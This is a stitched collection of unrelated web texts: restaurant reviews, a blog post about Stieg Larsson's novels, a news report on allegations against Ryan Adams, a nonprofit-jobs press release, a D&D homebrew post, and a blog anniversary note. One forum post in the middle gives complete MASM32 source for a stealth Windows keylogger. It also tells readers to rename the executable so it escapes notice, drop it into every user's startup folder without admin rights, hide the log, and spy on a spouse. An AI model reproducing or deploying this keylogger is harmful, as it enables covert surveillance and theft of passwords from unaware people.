We also ordered a garlic-lime chicken/vegetable quesadilla—plump, cheese-filled pillows of crispy goodness. An order of fish tacos, while OK, was not memorable. "They're good—not the best I've ever had," reported my tester.
Cha Cha Cha Salsaria makes the ideal location for a weekend lunch— it turns into a whole day activity, the kind of Saturday where you're just too darned content and full to think about anything radical like moving. Stress gets drowned by salsa and margaritas. Palm trees wave at the fishermen puttering by. While we were there, a boat called Island Chemistry drifted by. Damn right, I thought to myself.


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Steig Larrson, the man behind the stories that gave him his name fame glory posthumously led a fascinating life. Larrson could be one of the characters he became famous for writing about in his millennium series. Fighting to right Nazi wrongs in Sweden, he was a well known journalist who founded Expo, an antifascist magazine. Here in the states people don't usually think much about the Nazis but in Europe people give more importance to World War II and the havoc it created in history. In Sweden, its importance is even more meaningful. According to Lev Grossman in Time Magazine, "Fascism is a live issue in Sweden, and fascist groups have been known to attack reporters who investigate them." Larrson was a known target as the founder of Expo, the antifascist magazine he published. Larrson had built himself quite a reputation as a dragon slayer and his daily life and that of his life-long companion, Eva Gabrielsson, were affected by the backlash. Now there's an inheritance issue because Gabrielsson and Larrson never married in spite of being together over thirty years, so his family controls all. What deepens the suspense is Eva has a copy of the number 4 book on his computer in her possession. I watched her speak about this in a recorded television interview. Apparently they worked together and she edited most of his work.
I first felt compelled to read the girl with the dragon tattoo because of the colorful cover plus all I'd heard and read about it, but when I sat down and read through it, I became enthralled. He's gone and passed on but I love his shit!
Larrson wrote fiction to relax and he loved detective stories. I guess it gave him a break from the harsh reality he faced daily. Strangely even the aftermath of his life reminds us how life is often as strange as fiction.
Larrson proves that writers can create anything. Like my friend Anthony Whyte recently said over coffee, you can take a usual situation where people are sitting at a table drinking coffee and all you need to do is put a gun on the table and boom - the center of attention changes drastically and you can do what you want with your characters. All one has to do is let things fall into place and put things where they should be to add a little drama and spice.
Hooked on Lisbeth, the heroine whose intelligence and resourcefulness never fails her, I sped read the entire book submerged in the characters and events. Little Lisbeth, my heroine, is barely 4 feet two and 94 pounds soaking wet, is an exceptionally skilled computer hacker who survives impossible circumstances. She is lithe, super strong and can kick karate ass as well as Sarah Michelle Geller plus can defeat any enemy intellectually as well. I also love "Kalle fucking Blomkvist" another main character in the trilogy who could be Larrson's alter ego. Together he and Lisbeth could solve any mystery.
The wording is sometimes a bit dry but according to Grossman, that may be due to the translators facility with subtleties but it didn't damage my attention span or interfere with the excitement. This fast paced thriller kept me spellbound like a movie playing in my head.
After this I was compelled to read number two of the Millennium trilogy, The Girl Who Played With Fire, the perfect mix of action and expository to drive its thrust. Now I'm going to read number three next.
It is writers like Mr. Larrson who excite me to write. His characters are so finely tuned and defined that we know them as intimately as our closest friends. For those who don't know the series, I wasn't surprised to see Lisbeth buried alive in the end of part two of the trilogy. Lucky for me the first chapter of part three is included at the end of part two. I can't wait. I'll keep you updated!
Saturday, May 22, 2010
Steig Larrson and me
Posted by Joy Leftow at 1:48 PM 0 comments
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|The Apartment @ The Curve
Ground Floor, Western Courtyard,
The Curve Shopping Centre,
Mutiara Damansara.
Tel: 03-77278330
Website: www.atheapartment.com
|The rather cozy ambiance of The Apartment
|#1 Oyster Shots - RM11.90
|#2 Jamie's Duck Pasta - RM27.90
|#3 Prawn Capellini - RM33.90
|#4 Surf 'n' Turf - RM43.90
|#5 Pan Fried Snapper - RM39.90
|#6 Almond Crusted Cod - RM64.90
|#7 Stuffed Squid - RM25.90
|#8 (Banana Layered Cake - RM13.90, Chocolate Cake - RM16.90, Signature Red Velvet Cake - RM16.90)
|#9 Buah Melaka Dessert - RM12.90
|#10 Creme Brule - RM13.90
|#11 Baked Chocolate Pudding - RM16.90
About Isaac Tan
Thank you for reading this post. I hope you enjoyed reading this as much as I enjoyed writing it. My name is Isaac Tan and I cover mostly on lifestyle events with emphasis on happenings in Kuala Lumpur, food reviews, movies, tech and more. Subscribe to my feed and my facebook page. Do follow me on Twitter too at @isaactanjs , contact me via my email at email@example.com


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(Gray News) – Singer Ryan Adams has been accused by several women in a New York Times report of sexually aggressive and exploitative behavior, using his stature within the music industry to manipulate young artists who hoped he could advance their careers.
The report also outlines one instance in which Adams began communicating sexually with a fan who was 15, but told him she was 18.
Adams, through a lawyer, pushed back against most of the article's claims and did not "recall having online communications with anyone related to anything outside of music." In tweets after the article's publication, he also specifically said he would "never have inappropriate interactions with someone I thought was underage. Period."
His ex-wife, Mandy Moore, told the newspaper that "music was a point of control for him" and described his conduct as "destructive, manic sort of back and forth behavior."
The teenage fan, identified only as Ava, showed The Times more than 3,000 text messages exchanged from roughly five years ago, when she was 15 and 16.
She was a bass player who was lonely at home and reached out to Adams over social media. Their correspondence turned sexual, even as Adams repeatedly asked her about her age and appeared to be concerned that she wasn't telling him the truth.
"If people knew they would say I was like R Kelley (sic) lol," he wrote in one.
In another, he made Ava reassure him "that your mom is not gonna kill me if she finds out we even text."
Once, she called him on Skype, and he answered fully naked.
Moore, the "This Is Us" actress, effectively blamed Adams for her music career stalling in 2009, the same year they were married.
"His controlling behavior essentially did block my ability to make new connections in the industry during a very pivotal and potentially lucrative time – my entire mid-to-late 20s," she told The Times.
Adams said her characterization of their relationship was "completely inconsistent" with how he perceived it.
They divorced in 2016.
In a series of tweets, Adams called the article "upsettingly inaccurate."
"As someone who has always tried to spread joy through my music and my life, hearing that some people believe I caused them pain saddens me greatly," he wrote. "I am resolved to work to be the best man I can be. And I wish everyone compassion, understanding and healing."
Another singer, Phoebe Bridgers, described how Adams pursued her romantically after giving her career opportunities and, when it soured, his manipulation included threats of suicide if she didn't respond to his messages.
Adams, through his lawyer, described the relationship with Bridgers as a "brief, consensual fling" but denied any coercive behavior.
The Times reported two more female singer-songwriters describing Adams "raving about their work and offering tour spots amid aggressive romantic pursuit, followed by harassing messages and threats of professional retaliation when the relationships did not progress as he wanted."
One artist, Courtney Jaye, described his way of suddenly and aggressively trying to make a professional relationship sexual, as "Hurricane Ryan."
An ex-fiancee, Megan Butterworth, also described Adams as erratic and abusive.
Adams dismissed the collective allegations against him as "grousing by disgruntled individuals."
Copyright 2019 Gray Television Group, Inc. All rights reserved.


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Nonprofits a Surprising Bright Spot in National Jobs Pictureby GDN Shared Post September 3, 2010
Initial analysis of data on 21 states spread broadly across the country reveals that nonprofit employment actually grew by an average of 2.5 percent per year between the second quarter of 2007 and the second quarter of 2009, the worst part of the recent recession. By contrast, for-profit employment in these states fell during this same period by an average of 3.3 percent a year …
(see Figure 1, http://www.ccss.jhu.edu/pdfs/Media/2010.9.Media.NP_employment.pdf). And this pattern held for every single state examined.
In addition, nonprofit job growth during the recession was actually stronger than it had been from 2001 to 2007, when nonprofit jobs grew by an average of 2.3 percent a year compared to 2.5 percent per year growth during the recession years. During this earlier period, nonprofit job growth easily exceeded for-profit job growth, which limped along at an annual average increase of only 0.2 percent. This pattern held in virtually every state studied.
However, nonprofits in some fields and some states did worse than others. While the average rate of nonprofit job growth during the recession was 2.5 percent per year, it was only 1.8 percent per year in the nursing home field and 1.4 percent per year in social assistance (see Table 1, http://www.ccss.jhu.edu/pdfs/Media/2010.9.Media.NP_employment.pdf).
Viewed by state, nonprofit job growth during the recession was also a much lower 0.7 percent in New Jersey, 1.3 percent in Michigan and Indiana, 1.4 percent in Ohio, and 1.5 percent in Illinois (see Table 2, http://www.ccss.jhu.edu/pdfs/Media/2010.9.Media.NP_employment.pdf).
In the key field of social assistance, which is especially important during a recession, some places experienced nonprofit job losses during the recession, among them the District of Columbia (-4.5 percent), Maine (-1.5 percent), Indiana (-.9 percent), and Ohio (-0.8 percent).
Also revealing is the evidence these data provide of the increasingly competitive environment in which nonprofits are operating. While overall nonprofit job growth exceeded overall for-profit job growth, there is evidence that this is as much a product of the fields in which nonprofits are active as it is a product of the nature of nonprofit organizations. In many of these fields, in fact, for-profit job growth exceeded nonprofit job growth, at least prior to the current recession. For example, over the period 2001-2007, while nonprofit jobs in the field of social assistance grew by an average of 2.4 percent per year, for-profit jobs in this field grew by an average of 7 percent per year. In the nursing home field, for-profit jobs grew 2.0 percent per year compared to 1.4 percent for nonprofits (see Table 1, http://www.ccss.jhu.edu/pdfs/Media/2010.9.Media.NP_employment.pdf).
Furthermore, this growth in nonprofit jobs has come in the face of much greater growth in the need for nonprofit assistance. A recent report from the Johns Hopkins Nonprofit Listening Post Project found, for example, that nearly 40 percent of organizations surveyed currently lack adequate staff to deliver their programs and services. Staff members at surveyed organizations are facing additional job duties (49 percent of responding organizations), salary freezes (39 percent), increased hours (23 percent), reduced benefits (23 percent) and reduced wages (12 percent).
"That nonprofit organizations have been able to increase employment in the face of the most severe recession since the Great Depression is a testament to the effectiveness of the federal stimulus program, which channeled assistance to many nonprofit organizations, and to the resilience and determination of nonprofit leaders and those who support them in the public and private sectors," said Lester M. Salamon, study author and director of the Johns Hopkins Center for Civil Society Studies. "But this accomplishment, impressive though it is, still leaves many needs unmet and many organizations and regions under severe strain."
Charts and tables with the preliminary findings on nonprofit employment discussed above, including data listed by state and by field of activity, are available at http://www.ccss.jhu.edu/pdfs/Media/2010.9.Media.NP_employment.pdf .
The following additional reports from the Center for Civil Society Studies provide further evidence of the recession's impact on nonprofit organizations:
• Recession Pressures on Nonprofit Jobs (July 2010) http://ccss.jhu.edu/pdfs/LP_Communiques/LP_Communique19_jobs.pdf
• Nonprofits and Recessions: New Data from Maryland (January 2010). http://ccss.jhu.edu/pdfs/NED_Bulletins/States/MD_33.pdf
• Texas Nonprofit Employment Update, August 2010) http://ccss.jhu.edu/pdfs/NED_Bulletins/States/NED_Bulletin35_Texas_2010.pdf
• Impact of the 2007-09 Economic Recession on Nonprofit Organizations (June 2009) http://ccss.jhu.edu/pdfs/LP_Communiques/LP_Communique_14.pdf
A Note on the Source of Data Reported Here
This report draws on data generated by state labor market information offices under the national Quarterly Census of Employment and Wages (QCEW) program administered by the U.S. Bureau of Labor Statistics. These data are compiled from quarterly reports submitted by employers in compliance with U.S. and state law. All nonprofit places of employment with at least four employees are required to complete these quarterly surveys and either be covered by the federal unemployment insurance system or make other arrangements to provide unemployment coverage to laid-off workers. Some twenty states, many of them included in the data reported here, have extended this requirement to places of employment with at least one employee. The one major exclusion is religious congregations, which are not required to take part in the unemployment insurance system, although the significance of this exclusion is unknown as some religious organizations nevertheless elect to be covered by unemployment insurance. For the purpose of this report, we have chosen to focus on the "charitable" portion of the nonprofit sector. This includes organizations registered with the U.S. Internal Revenue Service under Section 501(c)(3) of the Internal Revenue Code, which embraces private, not-for-profit hospitals, clinics, colleges, universities, elementary schools, social service agencies, day care centers, orchestras, museums, theaters, environmental organizations, homeless shelters, soup kitchens, and many more.
Johns Hopkins Center for Civil Society Studies website: http://ccss.jhu.edu
Johns Hopkins University news releases can be found on the World Wide Web at http://releases.jhu.edu/ Information on automatic E-mail delivery of science and medical news releases is available at the same address.


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I am one of those who thinks the psionic subsystem is one of the most elegantly designed things in D&D 3.5. In many ways, I think it's how spellcasting should have been done in 3.5. And I'd like to use it for more things.
But when I try to replace the core vancian casting with psionics, I run into a couple of problems.
- Options are missing. There are things the core classes can do that simply can't be faithfully replicated with psionics. The psionic system is powerful enough, no doubt about that. It can pretty much always get the job done. But if I wanted to, say, play a necromancer, I'd probably have to reflavor Astral Constructs as my zombies and some Stygian powers as my negative energy effects. Which works, but wasn't really what I was looking for in the first place. Which brings me to the second problem:
- The flavor doesn't always fit. Now, I think it's cool - if viewed on its own terms. The crystals and tattoo theme the books have going on is a perfectly good way to look at magic, but in my experience, it doesn't always live up to people's ideas about what D&D magic "should" look like. DMs still ban psionics for "flavor reasons", or because it doesn't "fit their setting". Which, I must say, I understand perfectly.
So what can I do? Well, I devised a twofold solution to the twofold problem.
- I translated the core spells and classes over to psionic mechanics.
- As for the system itself (as well as some doodads like the basic magic items), I changed every reference to "power", "manifester", "crystals" and "psionic", and so on to... well, their arcane counterparts. In other words, when people say "just reflavor psionics to fit your setting/concept" - I'd like to think I did precisely that.
And here is the result. (.pdf, 2.7 MB) I suggest linking to this thread rather than hotlinking, I expect this thread to be rather more permanent.
It includes a complete conversion of the psionic base system, feats and fundamental items over to magical terminology, as well as, more importantly, translated classes to utilize the mechanics, and a relatively thorough conversion of the Sorcerer/Wizard, Cleric, Bard, Paladin, Assassin and Blackguard lists over to what 3.5 fans know as psionic mechanics. For the classes presented so far, it should be playable from 1-20.
Now, like all homebrewers, I hope that this is actually useful, and that I can get some feedback. But I don't expect anyone to just accept that the stuff I churned out is awesome enough to read the over 400 pages of it. Instead, I suggest that the potentially interested do the following:
- Download the document.
- If you know how psionics in 3.5 work, proceed to step 3. All you will find in the first few chapters is that this is a reprinting of the psionic mechanics, and that the Wizard works just like the Psion. If you don't, well, please read the Wizard class, and tell me whether it makes any sense to you! :smalltongue:
- Navigate to the "Spells" section (the pdf is thoroughly bookmarked). Find your favourite spell or two.
- Tell me what you think! You don't need to be a grandmaster of homebrewing to tell if I royally screwed something up, so please tell me if you find something odd, no matter how trivial or "just your opinion" you think it is.
For those that are still reading, I have a FAQ for you:
- There's a spell point variant in Unearthed Arcana/the SRD, as well as about 500 homebrew versions. Why, oh why, Ernir, are you trying to invent the wheel?
The primary difference between this project and every other spell point variant I have seen is simple - I rewrote the spells so that they take the system into account. No other spell point system I have seen has done this.
In addition, this isn't really a new spell point system. This is the well known and researched psionic system, which we all know works. I just added a paint job and a new bell or two.
- Did you fix magic forever?
No, I didn't. My primary goal was to give the vancian flavor a better system, balancing it was not my primary concern. The Wizard class resulting from this is still exorbitantly more powerful than any "mundane" class in WotC D&D, if you ask me. That being said, I did rewrite all the spells, and of course I couldn't resist ironing out some of the kinks I know of. When it came to this, I concentrated my efforts on getting rid of the spells that have truly unbounded/uncontrollable consequences. Wizards can probably still solo most level appropriate encounters, but I hope they'll now run into trouble solo-ing some campaign settings.
- Did you leave some spells out?
Lots of spells weren't precisely reproduced. Most of those, however, I just merged with others. The augment system provided by psionics makes it particularly easy to merge spell chains (that is, spells that are just greater/lesser versions of other spells). In addition, I merged some spells that I knew would just never be taken as a spell known otherwise.
- Did you add a lot of your own content?
Mixing the core spells up with my own eccentricities was not my original intent. Nevertheless, I did eventually decide to make up quite a few spells of my own (and steal a few psionic powers), usually to fill in nearly-empty spell levels. These are marked as such in the spell listing.
- Did you change the psionic base system at all?
A few changes were necessary, for example, changing the discipline/subdiscipline arrangement to fit the school/subschool structure of traditional casting.
But I did make some less trivial changes.
- Most significantly, save DCs are now calculated using the number of spell points (power points) spent on the spell, rather than the level of the spell (power). Also, you can now spend more points on a spell than given in its spell points (power points) line, usually to increase the save DC (in other words, all spells now have a "null augment"). This is mostly because adding "Augment: For every 2 additional spell points you spend, this spell's save DC increases by 1." to every single thing was starting to look really ugly.
- I added a "Polymorph" subschool to the transmutation school to contain the mechanics of my new Polymorph-ish spells.
- I added a "minion" type of spells to put a cap on the number of will-less minions you can have. This is a recent addition, I have yet to do much with it.
- Are you done working on this?
Hell no. Next up is to update more magic items, finish the PrCs, and hack on some epic support. I'll be here for a while.
- What are you working on right now?
Minor details, really. Balancing the Cleric domains has taken up a lot of the project's time lately.
You can see a snapshot of the very latest compilation of the document [url="http://dl.dropbox.com/u/19444168/VancianToPsionicsBleedingEdge.pdf"]here[/url] (bugs, half-completed content and plain errors all included).
Thanks for reading this far, please tell me what you think!


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The Programs and Files included are Copyright 2005, by ZOverLord
This is a Proof Of Concept for Educational Purposes ONLY!
This program is 4K big, as in 4,096 bytes and can do ANYTHING other Key-Loggers
claim, this is Version 1.0, a Stealth version will be next to show Hiding concepts.
The program was created because MANY people claimed that you could NOT use a
Stand-Alone program ("Without the Global hook procedure being located in a DLL") to do low-level
keyboard Key-Logging. As I say.....
"We Don't NEED NO STINKIN DLL!"
The program(s) "They both produce the same output, one is Raw ASM and the other uses
INVOKES. This was done in order to try and HELP others learn ASM a little
better, instead of trying to make ASM look like some FRICKEN C++ MACRO from HELL Language, lol
In any event, the RAW version has more comments if your trying to figure out
how the MAGIC is done. There is some MASS confusion with MANY seasoned programmers
as to just HOW to get some Data, when the process is NOT in your CONTEXT.
LOL, Hope this helps BOYS! Ok, you need the latest and greatest MASM32 if you want
to compile this and LEARN SOMETHING! Download and install it from here:
Once you have done that you can click on the C:\ZKeyLog\ZKeyLogV1.bat file and
it will build BOTH versions, as well as compile an addtional Library needed in
msvcrt.inc, which will create a msvcrt.lib file in the c:\ZKeyLog folder as well.
No matter if you re-compile the programs or not the following directions will help.
Decide which of the two versions you wish to use, if needed to be more Stealth like
make a copy of either ZKeyLogV1Raw.exe or ZKeyLogV1.exe and rename it to something
which won't raise EyeBrows like memman.exe, for example.
REMEMBER, anytime you do Key-Logging you run the RISK of IF someone gets into
your system and the log contains sensitive data such as bank account info or
passwords, you could cause Your Self some MAJOR Grief, we take NO responsibility
on the use of this. You maybe better off re-compiling this and change the log
file to ANOTHER name, just in case this Key-Logger gets Popular, and people start
to look for the log name.
Now, IF the program is NOT placed in a StartUp Folder the LOG will be in the
same folder as the program is run, again the DEFAULT log name is ZKeyLog.txt.
If the program is placed in a Startup Folder, it will be in the Default PATH of
that user. So for example if you placed the program in the ALL Users Startup
folder, then each user would have a LOG file called ZKeyLog.txt in their default
You can HIDE the log file by setting the file to be hidden, this way users will
not know it is there, like your Cheating Wife or Husband for example ;-)
If you have any Questions, open the ZKeyLogV1Raw.asm file in notepad, it has more
comments than the ZKeyLogV1.asm file. If you are still STUCK and need answers
email me at firstname.lastname@example.com.
Enjoy, I hope this helps others learn the ASM Language, It is amazing on what you
can do with ASM with such a small FootPrint. Enjoy!
First, you will need to build a NEW library that is not currently in MASM32 called msvcrt.lib from this file called msvcrt.inc:
Second, the .bat file to build the msvcrt.lib as well as ZLogKeyV1.exe the Higher-Level MASM32 version which uses INVOKES as well as ZLogKeyV1Raw.exe which is a RAW MASM32 Low-Level MASM32 source.Code:fopen PROTO C :DWORD, :DWORD fprintf PROTO C :DWORD, :VARARG fflush PROTO C :DWORD fclose PROTO C :DWORD
Here is the .bat file called ZKeyLogV1.bat
Third, here is the Low-Level MASM32 source, which is called ZKeyLogV1Raw.asmCode:: Set the masm path SET MASMPATH=C:\masm32 %MASMPATH%\tools\inc2l\inc2l msvcrt.inc %MASMPATH%\bin\ml /c /coff ZKeyLogV1.asm %MASMPATH%\bin\polink /release /subsystem:windows /MAPINFO:EXPORTS /MAPINFO:FIXUPS /MAPINFO:LINES /VERBOSE /MACHINE:IX86 /libpath:%MASMPATH%\lib ZKeyLogV1.obj %MASMPATH%\bin\ml /c /coff ZKeyLogV1Raw.asm %MASMPATH%\bin\polink /release /subsystem:windows /MAPINFO:EXPORTS /MAPINFO:FIXUPS /MAPINFO:LINES /VERBOSE /MACHINE:IX86 /libpath:%MASMPATH%\lib ZKeyLogV1Raw.obj pause
Sample Log OutputCode:;******************************************************************************************* ; (BEST Viewed with NOTEPAD) ; CopyRight 2005, by ZOverLord at email@example.com - ALL Rights Reserved ; ; "We Don't NEED no STINKIN DLL!"......ENJOY! vist http://testing.OnlyTheRightAnswers.com ; ; Proof Of Concept of using Low-Level Hooks without using any DLL for the Hook ; This Program is for Educational Proof Of Concept Use ONLY! ; ; This Program compiles in 4K, get it that's 4,096 Bytes. I got TIRED of all these folks ; who need a FAT program as well as a FAT DLL to create a Key-Logger so in frustration ; this proof of concept was created. Log Items include: ; ; Date-Time Stamps, Program Name, Window Title, Window Class, Domain Name, Computer Name ; User Name as well as the ability to be placed in StartUp Folders for ANY and/or ALL ; users. There is NOT any requirement for this to run as ADMIN, ANYONE can place it in ; the startup folder of any user, or for all users. ; ; The Logfile is named ZKeyLog.txt and seperate logs can be kept for seperate users this ; can be done automatically by simply placing the program in the: ; ; C:\Documents and Settings\All Users\Start Menu\Programs\Startup folder ; ; C:\Documents and Settings\?USER?\ folder as ZKeyLog.txt ; ("You can change the File to Hidden if needed") ; ; A Hot-Key of [CTRL]-[ALT]-[F11] will turn the Key-Logger Off ; ; There are two flavors one Raw ASM and one using INVOKES, Raw has more comments, low-level. ; ; You can rename the EXE file to something NOT so obvious if needed, read the AReadMe.txt ; ;******************************************************************************************* .386 .model flat, stdcall option casemap:none include \masm32\include\windows.inc include \masm32\include\kernel32.inc include \masm32\include\user32.inc include \masm32\include\advapi32.inc include msvcrt.inc includelib \masm32\lib\user32.lib includelib \masm32\lib\kernel32.lib includelib \masm32\lib\advapi32.lib includelib msvcrt.lib pushz macro szText:VARARG local nexti call nexti db szText,00h nexti: endm .data CopyRight db "CopyRight 2005, email@example.com" Vist db "http://testing.OnlyTheRightAnswers.com " hBuffer dd ? hComputerName db 32 dup(0) hCurrentThreadPiD dd 0 hCurrentWindow dd 0 hDateFormat db "dd MMM yyyy", 0 hDomaineName db 128 dup(0) hFile dd 0 hHook dd 0 hmodul MODULEENTRY32 <> hSnapShot dd 0 hTimeFormat db "hh:mm:ss tt", 0 hUserName db 32 dup(0) msg MSG <> onlyOneCopy db "Global\zkl",0 .code main: push offset onlyOneCopy ; check to make sure we are the only copy push 0 ; of this program running for this user push 0 ; for fast user switching we can still have call CreateMutexA ; one copy per user running with this check call GetLastError ; but if this user is running one already. we exit cmp eax,ERROR_ALREADY_EXISTS je more_than_one_copy xor ebx, ebx ; Zero Out ebx push VK_F11 ; this will switch logger off using CTRL+ALT+F11 together push MOD_CONTROL or MOD_ALT push 0badfaceh ; name of register key -> "0BADFACE" push ebx ; call RegisterHotKey ; we got a new hot key pushz "ab" ; append in binary mode pushz "ZKeyLog.txt" ; name of log file call fopen ; open the log file add esp, 2*4 ; all c lib functions need fixup.. mov [hFile], eax ; save our file number push ebx call GetModuleHandleA ; get our module handle for setting the hook push ebx ; register our keyboard hook proc and start hooking push eax push offset KeyBoardProc ; where our hook proc is located push WH_KEYBOARD_LL ; low level key logger WH_KEYBOARD_LL = 13 call SetWindowsHookExA ; Look MOM no DLL Needed :P mov [hHook], eax ; ok here is our hook handle for later push ebx ; We Need to check for messages like our push ebx ; hot key, so we can close when we get it push ebx push offset msg ; it will be in the message struct call GetMessageA ; wait for a message push [hHook] ; we got the hot key, lets close up house call UnhookWindowsHookEx ; make sure we unhook things to be nice push [hFile] ; close our logfile before we stop call fclose add esp, 04 more_than_one_copy: push eax ; call stop and lets go away call ExitProcess ;############################################################## KeyBoardProc PROC nCode:DWORD, wParam:DWORD, lParam:DWORD LOCAL lpKeyState[256] :BYTE LOCAL lpClassName[64] :BYTE LOCAL lpCharBuf[32] :BYTE LOCAL lpDateBuf[12] :BYTE LOCAL lpTimeBuf[12] :BYTE LOCAL lpLocalTime :SYSTEMTIME ;---------------------------- lea edi, [lpKeyState] ; lets zero out our buffers push 256/4 pop ecx xor eax, eax rep stosd ; sets us up for doubleword from EAX mov eax, wParam cmp eax, WM_KEYUP ; only need WM_KEYDOWN je next_hook ; bypass double logging cmp eax, WM_SYSKEYUP ; only Need WM_SYSKEYDOWN je next_hook ; bypass double logging call GetForegroundWindow ; get handle for currently used window ( specific to NT and after ) cmp [hCurrentWindow], eax ; if its not different to last one saved.. je no_window_change ; bypass all the headings mov [hCurrentWindow], eax ; save it for use now and compare later push 64 ; get the class name lea esi, [lpClassName] push esi push [hCurrentWindow] call GetClassName lea esi, [lpLocalTime] ; invoke GetLocalTime, ADDR LocalTime push esi call GetLocalTime push 12 ; invoke GetDateFormat, NULL, NULL \ lea esi, [lpDateBuf] push esi ; ADDR lpLocalTime, ADDR hDateFormat \ lea esi, [hDateFormat] push esi ; ADDR lpDateBuf, Size of 12 lea esi, [lpLocalTime] push esi push 0 push 0 call GetDateFormat ; format the date push 12 ; invoke GetTimeFormat, NULL, NULL \ lea esi, [lpTimeBuf] push esi ; ADDR lpLocalTime, ADDR hTimeFormat \ lea esi, [hTimeFormat] push esi ; ADDR lpTimeBuf, Size of 12 lea esi, [lpLocalTime] push esi push 0 push 0 call GetTimeFormat ; format the time lea esi, [hCurrentThreadPiD] ; get the processid that sent the key push esi ; using the HWND we got earlier from mov eax, [hCurrentWindow] ; our GetForegroundWindow call push eax ; we need it to get the program exe name call GetWindowThreadProcessId mov ebx, hCurrentThreadPiD ; remember we are NOT using a DLL so..... push ebx ; we need to use ToolHelp procs to get push TH32CS_SNAPMODULE ; the program exe name of who sent us call CreateToolhelp32Snapshot ; this key mov hSnapShot,eax ; save the ToolHelp Handle to close later mov hmodul.dwSize, sizeof MODULEENTRY32; need to initialize size or we will fail push offset hmodul ; first Module is always module for process mov eax, [hSnapShot] ; so safe to assume that the exe file name here push eax ; will always be the right one for us call Module32First mov eax, [hSnapShot] ; we are done with ToolHelp so we need push eax ; to tell it we wish to close call CloseHandle push 256 ; find the window title text lea esi, [lpKeyState] ; use lpKeyState it's not being used yet so push esi mov eax, [hCurrentWindow] ; using the HWND we got from GetForegroundWindow push eax call GetWindowText push offset hmodul.szExePath lea esi, [lpTimeBuf] ; print the formatted time push esi lea esi, [lpDateBuf] ; print the formatted date push esi pushz 13,10,"[%s, %s - Program:%s]",13,10 push [hFile] call fprintf ; write the buffer to cache add esp, 3*4 lea esi, [lpClassName] ; print the Window Class Name push esi lea esi, [lpKeyState] ; print the Window Title push esi pushz 13,10,"[ Window Title:%s - Window Class:%s]",13,10 push [hFile] call fprintf ; write the buffer to cache add esp, 3*4 mov hBuffer, 128 ; get the current domain name push offset hBuffer push offset hDomaineName push 1 call GetComputerNameExA mov hBuffer, 32 ; get the current computer name push offset hBuffer push offset hComputerName push 0 call GetComputerNameExA mov hBuffer, 32 ; get the current user name push offset hBuffer push offset hUserName call GetUserNameA push offset hUserName ; print the user name push offset hComputerName ; print the computer name push offset hDomaineName ; print the domain name pushz "[ Domain:%s - Computer:%s - User:%s]",13,10 push [hFile] call fprintf ; write to cache add esp, 3*4 push [hFile] call fflush ; flush data buffer to disk.. add esp, 4 no_window_change: mov esi, [lParam] ; we don't want to print shift or capslock names. lodsd ; it just makes the logs easier to read without them. cmp al, VK_LSHIFT ; they are tested later when distinguishing between je next_hook ; bypass left shift Key for upper/lowercase characters cmp al, VK_RSHIFT je next_hook ; bypass right shift Key cmp al, VK_CAPITAL je next_hook ; bypass caps lock Key cmp al, VK_ESCAPE je get_name_of_key ; we Want escape characters cmp al, VK_BACK je get_name_of_key ; we want backspace key cmp al, VK_TAB je get_name_of_key ; we want tab key ;------------------ lea edi, [lpCharBuf] ; zero initialise buffer for key text push 32/4 pop ecx xor eax, eax rep stosd ;---------- lea ebx, [lpKeyState] push ebx call GetKeyboardState ; get current keyboard state push VK_LSHIFT ; test if left shift key held down call GetKeyState xchg esi, eax ; save result in esi push VK_RSHIFT ; test right.. call GetKeyState or eax, esi ; al == 1 if either key is DOWN mov byte ptr [ebx + 16], al ; toggle a shift key to on/off push VK_CAPITAL call GetKeyState ; returns TRUE if caps lock is on mov byte ptr [ebx + 20], al ; toggle caps lock to on/off mov esi, [lParam] lea edi, [lpCharBuf] push 00h push edi ; buffer for ascii characters push ebx ; keyboard state lodsd xchg eax, edx lodsd push eax ; hardware scan code push edx ; virutal key code call ToAscii ; convert to human readable characters test eax, eax ; if return zero, continue jnz test_carriage_return ; else, write to file. get_name_of_key: ; no need for large table of pointers to get asciiz mov esi, [lParam] lodsd ; skip virtual key code lodsd ; eax = scancode shl eax, 16 xchg eax, ecx lodsd ; extended key info shl eax, 24 or ecx, eax push 32 lea edi, [lpCharBuf] push edi push ecx call GetKeyNameTextA ; get the key text push edi pushz "[%s]" ; print the special key text jmp write_to_file test_carriage_return: push edi pushz "%s" ; print regular keys cmp byte ptr [edi], 0dh ; carriage return? jne write_to_file mov byte ptr [edi + 1], 0ah ; add linefeed, so logs are easier to read. write_to_file: push [hFile] ; where we write to the log file call fprintf add esp, 2*4 next_hook: push [lParam] ; reply for possible other hooks waiting push [wParam] push [nCode] push [hHook] call CallNextHookEx ret KeyBoardProc ENDP end main
[Ctrl][Alt][F11] is a Hot Key sequence that stops the Key LoggerCode:[26 Dec 2005, 02:18:25 PM - Program:C:\Program Files\Internet Explorer\iexplore.exe] [ Window Title:broadband » Forums » Security » Whats the best software to monitor my kids..... - Microsoft Internet Explorer provided by Compa - Window Class:IEFrame] [ Domain:BillyBobs - Computer:Billy - User:Bob] http://www.codeguru.com [26 Dec 2005, 02:18:36 PM - Program:C:\WINDOWS\system32\cmd.exe] [ Window Title:Command Prompt - Window Class:ConsoleWindowClass] [ Domain:BillyBobs - Computer:Billy - User:Bob] dir [Ctrl][Alt][F11]
Note that the all files in this project have been attached in both zip are rar format.
All project source and the build file as well as a readme file have been included.
Both compiled versions of the program are included as well.
MASM32 version 8.2 was used to compile this, which is located ("For Thoses that don't know") at:
Please let me know what you think, the goal was to try and show others how easy it is to use Low-Level Global Hooks without needing a DLL and to show how to get data from other programs that are not in your context when using Global Hooks and no dll.
This example can be used as a baseline for similar code in C++, there really is no requirement to understand ASM or MASM32 for that matter to see how this works.
Any Comments or Questions Please ask or Post. If you think this example ROCKS, please rate this thread, again thanks


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Snoop Dogg Talks About Death Row Days & How Suge Knight Used To Rob Producers "Tell That N*gga You Produced The Beat Give Him $500 & Tell Him To Kick Rocks" + Offers Advice To New Producers
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text:
WARNING: Wall of text incoming!
Next month this blog turns seven years old. During that time there have been more than 3,600 posts and nearly 120,000 comments.
It's a lot. I've learned a bunch, made friends, found sources, and become an immeasurably more well informed reporter as a result of my endeavors. This is a big part of my life.
During that time the Internet has transformed journalism and communication tremendously. News has become more social. As part of that I've embraced the notion of openness, meaning I don't try to hide biases from readers, and am open to most any question. I think this is the only responsible way to build a reputation in this increasingly digital world.
Another thing I've learned is that the quality of ones comments and community also is a good barometer of a site's credibility. To that end I want to continue building what I consider an excellent, bipartisan community of commenters, with the aim of fostering still more meaningful discussions.
Therefore I want to address several open issues on the blog, solicit feedback, and open the floor to readers for their input.
